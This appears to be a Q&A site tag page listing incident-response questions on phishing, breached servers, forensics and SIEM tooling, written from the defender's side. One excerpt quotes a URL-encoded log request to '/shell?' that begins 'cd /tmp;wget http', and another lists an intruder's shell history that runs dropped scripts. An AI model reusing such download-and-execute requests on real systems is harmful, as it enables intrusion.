Questions tagged [incident-response]

The art of responding to incidents in an organized and thoughtful manner.

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1answer
65 views

Can a forwarding rule be set on Outlook that will not be visible on office365/exchange admin interface?

In an incident concerning a user's mailbox - will any rule that forwards emails to a potential attack be visible in the office365/exchange admin interface, or is it possible to set an outlook client-...
0
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2answers
87 views

Incident response to a medium scale phishing attack whereas the targets are not from our company?

Our company suffered a phishing attack yesterday. While investigating about the attacker and the potential employees of ours who might have been phished, we ended up with the attacker database of ...
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0answers
55 views

Under which conditions can dllhost.exe spawn child process? | MITRE ATT&CK T1191

I was looking for conditions/circumstances under which Dllhost.exe can spawn a child process. I examined a huge quantity of event logs from various Windows system and didn't come across any event in ...
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1answer
90 views

Tools for reverse engineering malicious executables? [closed]

Are there any tools that one can reliably use for decompiling malicious executables in order to understand the inner workings of the same? Or any other reliable tool/way to quickly derive the code?
-2
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1answer
83 views

Pure-ftpd connections from unknown IPs

I'm seeing unknown IPs in results like this in the messages log on a CentOS 6 webserver, are these IPs actually accessing the machine? Mar 13 19:11:49 server pure-ftpd: (?@some.ip.here) [INFO] New ...
5
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1answer
220 views

a mysterious & pointless long-term hacking attempt?

It seems that I am the target of a mysterious ongoing hacking attempt. I have several domain names, most of which are currently parked & pointed at a single ‘main’ website. For the last couple ...
2
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3answers
102 views

Confusing terminologies: Incident, alert, event, ticket [duplicate]

I am doing research on Security orchestration and automation response (SOAR) and three above terminologies make me very confused. We are currently following the workflow like: some security events ...
0
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0answers
91 views

My mail server has seemingly been compromised, but I don't know how

We have a mail server on CPanel, and we added the company email accounts from CPanel. We use outlook as the email client. When we send emails to the procurement department, the hacker gets a copy. ...
1
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3answers
133 views

What use to automate incident response? [closed]

I am now read about TheHive Project - open source incident response platform. Today i asked developers about automatization of incidents, and find, that TheHive can't do this. Main feature for me is ...
1
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1answer
93 views

Persistent Bootable USB with Write Protection?

I am developing a series of extraction scripts (currently python 2.7) for a university project - these tools will be provided on a bootable USB for use by first responders when encountering a suspect ...
5
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5answers
681 views

Incident response and recovery from a security breach with unknown attack vector

Security breaches, hacks, “cyber” attacks or server compromises happen quite frequently, unfortunately, such as Quora in December 2018, Facebook in September 2018, Equifax in September 2017, Exactis ...
63
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5answers
17k views

Can Beehive detect a Snowden-like actor?

In a seminar, one of the Authors of Beehive: Large-Scale Log Analysis for Detecting Suspicious Activity in Enterprise Networks said that this system can prevent actions like Snowden did. From their ...
27
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4answers
9k views

I detected someone probing my site for weaknesses, what can I do about it? [duplicate]

My site has been getting probed by a bunch of IPs from Morroco (trying to submit forms, trying out potential URLs, trying to execute scripts etc..), I have a strong suspicion it's the same person ...
1
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2answers
328 views

Remote code execution and XSS vulnerabilities. What steps should be taken to secure a server once these are discovered and patched?

I've just been notified of a remote code execution vulnerability and an xss vulnerability on a site that I run. I've fixed the responsible code, but I'm wondering what steps should be taken afterwards ...
0
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1answer
49 views

How to recover disk image from a smartphone in “bootloop” state?

I've been playing around on data recovery from devices and so far it worked well. Now I got this new situation that I don't know how to proceed in order to put my hands on the data. My old smartphone ...
0
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0answers
965 views

Detection and attribution of a running attack toward US elections

Recently an attack based on booby trapped web servers was blocked by Microsoft through seizure of some of the known server names used in this attack. This attack analysis was focused to defend US ...
3
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1answer
63 views

Methodology for finding existing adversary presence on network

A technology company starts small in the early 90's and, for various reasons, blows up into a multi-million dollar company in a very short time around 2013. The problem is that this company is ...
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1answer
95 views

CSIRT Softwares [closed]

I'm wondering what kind of software Computer Security Emergency Response teams use to manage their work? For example to catalog incidents, responses and manage risks.
2
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1answer
280 views

Use Splunk to run Nmap scan from remote host to potential attacker

When receiving internal attacks, I'd like to utilize Splunk alerts to trigger an Nmap scan against that attacking host from a remote machine; one other than the Splunk server. Is there any API or ...
1
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1answer
213 views

CEH Incident Response phases: Investigation vs Analysis

I am preparing for CEH from Oriyano book. He refers to NIST's incident response phases. These phases are: Response Triage Investigation Containment Analysis and tracking Recovery Repair Debriefing ...
3
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1answer
98 views

Managing critical passwords and data across a small business with a focus on business continuity

I work with a small startup in the beginning of it's life cycle. I recently raised some security concerns involving business continuity and emergency preparedness. I have been trying to make a ...
1
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1answer
223 views

Can we know what hacker has come up to so far in his attempt?

I have discovered 'accidentally' while searching in my command history, that some one has issued these : passwd w cat /proc/cpuinfo free -m uptime w perl v.py python v.py chmod +x * ./a 94.10 and ...
57
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8answers
19k views

Brutalized VPS recovery data now available. Considerations? [closed]

Backstory My sites and VPS were stolen from me. The hosting company and I were locked out and unable to access it. They weren't able to create a temp password for access because the attacker blocked ...
1
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0answers
215 views

Invalid certificate error appears on my web server for 10 minutes and then disappears

I have a raspberry pi that hosts a web server and has a DDNS registered through no-ip. I just had an issue connecting to my webserver because a certificate appeared to be installed on this server that ...
1
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1answer
279 views

SSD Wipe to remove known & unknown malware [duplicate]

Does anyone know of a method to wipe a HDD that gives a high degree of confidence that any malware present will not persist when the OS is reinstalled? Using tools on Linux and/or Windows? We have ...
2
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2answers
137 views

How to best educate users on telltale signs of malware infections?

My company is in the process of training and testing all employees on our security policies and practices. As a member of the team doing this training and testing, I had a thought that it may be ...
2
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2answers
540 views

What's the danger of malicious JS and .DOC files in the AppData\Local\Temp folder?

I keep seeing malicious .DOC and .JS files appear in the \AppData\Local\Temp & the \Temporary Internet Files of users. A few questions: Under what circumstances do DOCs and JS files appear in ...
46
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3answers
7k views

Should we keep logs forever to investigate past data breaches?

Listening to the Secure code lessons from Have I Been Pwned made me really think about logging. It appears that in the real world a lot of data breaches are discovered long after they happened which ...
16
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8answers
3k views

How to make people report incidents?

I would like to know how you make employees report incidents. Incident reports are a key element of an ISMS. No reports = No discovery of the incident = High chance things go out of control. We have ...
0
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3answers
93 views

Is it recommended to patch announced vulnerability for unused services or features?

Sometimes vendors announce software upgrade to patch some discovered vulnerability in some feature or service which is not enabled in your system. Is it recommended to upgrade your software although ...
6
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1answer
346 views

What are the most valuable information when handling an IT security event/incident?

I'm currently looking into reporting processes in information security and I was wondering what kind of information should be reported when an IT security event or incident occurs. The definitions of ...
6
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1answer
478 views

What are some options for a small company on a budget to maintain a bug bounty program? [closed]

I work for a B2B SaaS startup that doesn't have a lot of money (we're 6 people, 2 developers, have about 6 months of runway, and $25K monthly revenue, < 50 customers). Common advice that I've seen ...
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0answers
3k views

Is this event a security concern: Windows 10: Event 360, User Device Registration?

My computer just froze, and I ended up having to reboot. It appears Windows Defender was coming up with a notification, but that froze as well. I was trying to see what went wrong in the event ...
0
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0answers
63 views

How user can change the tty information (related to CVE-2017-1000367)

Recently Red Hat fixed an important vulnerability in sudo: https://access.redhat.com/security/cve/cve-2017-1000367 From the description: A flaw was found in the way sudo parsed tty information ...
5
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2answers
540 views

Incident Responders: Can you give some examples of Incidents / types of incidents that are suitable for fully or partly automated response? [closed]

You setup security monitoring - either a full commercial SIEM/SOC or something home-cooked (e.g., rsyslog -> OSSIM / MozDef / Splunk / ...). You also setup some rules so that some event triage is ...
0
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2answers
63 views

Trusting your Incident Response Tool

Let's say you deploy an incident response tool on a server or endpoint such that you can connect to the system remotely if an incident occurs. In one of the worst cases you could have a rootkit, ...
2
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0answers
114 views

How to manually download an MMS without opening?

I'm looking into a potential Stagefright attack on an Android mobile (AOS 5.+). But since I'm not an expert on the subject, I fail to find a simple way to safely download the MMS for inspection. I was ...
0
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1answer
108 views

Unknown Requests on URL Web Filter Proxy

While trying to work on incident investigation, I am seeing continuous https requests from website cdn.syndication.twimg.com:443/widgets/timelines/paged/ callback=__twttr.callbacks.tl domain=www....
2
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1answer
197 views

Rogue device found on network

Whilst scanning my own network, I recently came across what seems like a rogue device. After running an nmap scan on it I found out it has four 'strange' ports open. 4096 (HTTP server) 13000 (Unknown,...
4
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1answer
255 views

How could this attack work?

I was browsing my apache logs, and I found the following request (which resulted in a 404): 106.75.130.216 - - [DD/MMM/YYYY:hh:mm:ss] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%...
0
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1answer
650 views

How to tell when a masquerade attack is occurring?

As I understand it, a masquerade attack is when an attacker acts as a registered/ authenticated user or entity in a system. There are obviously ways to prevent this, for example user education, don'...
1
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0answers
93 views

Malicious Actor with Physical Access to Encrypted Machine [duplicate]

Some background: My org is potentially involved in a legal dispute with a securities brokerage in a under-developed country with mediocre rule of law. The broker also is responsible for co-locating a ...
59
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1answer
4k views

What's the Impact of the CloudFlare Reverse Proxy Bug? (“#CloudBleed”)

In Project Zero #1139, it was disclosed that CloudFlare had a bug which disclosed uninitialized memory, leaking private data sent through them via SSL. What's the real impact?
3
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1answer
2k views

What is implication of ICMP timestamp responses?

I have tried to understand CVE-1999-0524. It is recommended to configure the firewall to prevent ICMP timestamp responses: https://access.redhat.com/security/cve/cve-1999-0524 What if I will not do it?...
26
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8answers
6k views

How to respond to a SSH brute force attack on a single VPS?

I logged onto my VPS this morning to find millions of failed login attempts for the root user and other users that don't even exist. I took the below measures to try and obfuscate the attackers ...
5
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2answers
315 views

How can intelligence services be so sure that Russia is the culprit? [closed]

Recently, US and non-US media has been publishing many articles regarding Russia being involved in the "Podesta-hack" or even accusing Putin of being directly responsible. For example: "Putin ...
8
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2answers
2k views

Should I delete my Yahoo! account?

NBC News is running this story: "Experts: Don't Delete Your Yahoo! Account". According to the story, if your account's email is linked to your online banking account, deleting your account will ...
2
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2answers
118 views

What's the next step if an organization doesn't respond to warnings of a potential data breach?

I've recently started getting a rash of junk mail to a particular email address. I give out unique addresses to all organizations I deal with, so I know exactly who has this address on file. The ...
1
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0answers
532 views

Extract Outlook email attachments from memory

Does anyone know if there is a way to extract Outlook emails with attachments from memory? What I have tried is to use volatility to dump PST files from memory and then use libpff to recover the ...
2
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2answers
2k views

Can SMS messages be traced to a specific phone after one month time has passed? [closed]

I have been cyber bullied by an unknown assailant. They sent several emails using a throwaway GMail account and then sent several SMS texts from two different phone numbers. The last number actually ...